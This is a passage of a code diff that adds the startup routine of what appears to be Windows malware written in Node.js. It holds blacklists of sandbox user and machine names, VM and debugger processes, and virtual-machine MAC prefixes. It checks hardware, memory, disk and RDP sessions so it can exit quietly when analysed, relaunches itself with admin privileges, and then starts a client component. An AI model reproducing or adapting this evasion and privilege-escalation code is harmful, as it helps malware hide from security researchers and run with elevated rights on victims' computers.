'DESKTOP-6M7B5S4', 'DESKTOP-51950T1', 'HANDY-PC', 'JOHN-PC', 'DESKTOP-1PY9J9S', 'WIN-7890BC', 'DESKTOP-V9B0311'], + processes: ['vboxservice.exe', 'vboxtray.exe', 'vmtoolsd.exe', 'vmwaretray.exe', 'vmwareuser.exe', 'vgauthservice.exe', 'vmacthlp.exe', 'vmsrvc.exe', 'vmusrvc.exe', 'prl_cc.exe', 'prl_tools.exe', 'xenservice.exe', 'qemu-ga.exe', 'wireshark.exe', 'fiddler.exe', 'httpdebugger.exe', 'processhacker.exe', 'x64dbg.exe', 'ollydbg.exe', 'pestudio.exe', 'vmperfmon.exe', 'autoruns.exe', 'procexp.exe', 'vmsvga.exe'], + macs: ['08:00:27', '00:05:69', '00:0C:29', '00:50:56', '00:1C:42', '00:16:3E', '08:00:20', '00:15:5D'], + hardware: ['VirtualBox', 'VMware', 'Parallel', 'QEMU', 'Hyper-V', 'KVM', 'Xen'] + }; + + const checkDisk = () => { + try { + const out = execSync('powershell -NoProfile -ExecutionPolicy Bypass -Command "(Get-Volume -DriveLetter C).Size"', { windowsHide: true, stdio: 'pipe', timeout: 5000 }).toString(); + const bytes = parseInt(out.trim()); + if (!isNaN(bytes) && bytes < 100 * 1024 * 1024 * 1024) return true; + } catch (e) { } + return false; + }; + + const checkHardware = () => { + try { + const out = execSync('powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object -Property Model, Manufacturer | Format-List"', { windowsHide: true, stdio: 'pipe', timeout: 5000 }).toString().toLowerCase(); + if (blacklist.hardware.some(h => out.includes(h.toLowerCase()))) return true; + } catch (e) { } + return false; + }; + + const checkMAC = () => { + try { + const out = execSync('getmac', { windowsHide: true, stdio: 'pipe', timeout: 5000 }).toString(); + if (blacklist.macs.some(mac => out.includes(mac))) return true; + } catch (e) { } + return false; + }; + + const checkRDP = () => { + try { + if (os.hostname().includes('RDP') || (process.env.SESSIONNAME && process.env.SESSIONNAME.toLowerCase().includes('rdp'))) return true; + } catch (e) { } + return false; + }; + + if (os.totalmem() < 4.01 * 1024 * 1024 * 1024) return true; + if (os.cpus().length < 2) return true; + + if (blacklist.users.includes(os.userInfo().username)) return true; + if (blacklist.pcNames.includes(os.hostname())) return true; + if (checkDisk()) return true; + if (checkHardware()) return true; + if (checkMAC()) return true; + if (checkRDP()) return true; + + try { + const tasks = execSync('tasklist', { windowsHide: true, timeout: 10000 }).toString().toLowerCase(); + if (blacklist.processes.some(p => tasks.includes(p))) { + return true; + } + } catch (e) { } + + return false; +} + + +(async () => { + try { + const isAdmin = hasAdminPrivileges(); + if (!isAdmin) { + relaunchAsAdmin(); + return; + } + + if (CONFIG.antivm) { + if (checkSystem()) process.exit(0); + } + checkSingleInstance(); + initializeFolders(); + const client = new Client(); + await client.init(); + + } catch (error) { + logError(error, 'main-executor'); + } finally { + process.exit(0); + } +})(); \ No newline at end of file